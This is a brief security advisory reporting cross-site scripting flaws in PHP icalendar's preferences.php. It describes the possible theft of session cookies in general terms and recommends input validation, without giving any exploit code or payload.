PHP icalendar XSS in preferences.php

PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that user-supplied data does not contain malicious code.
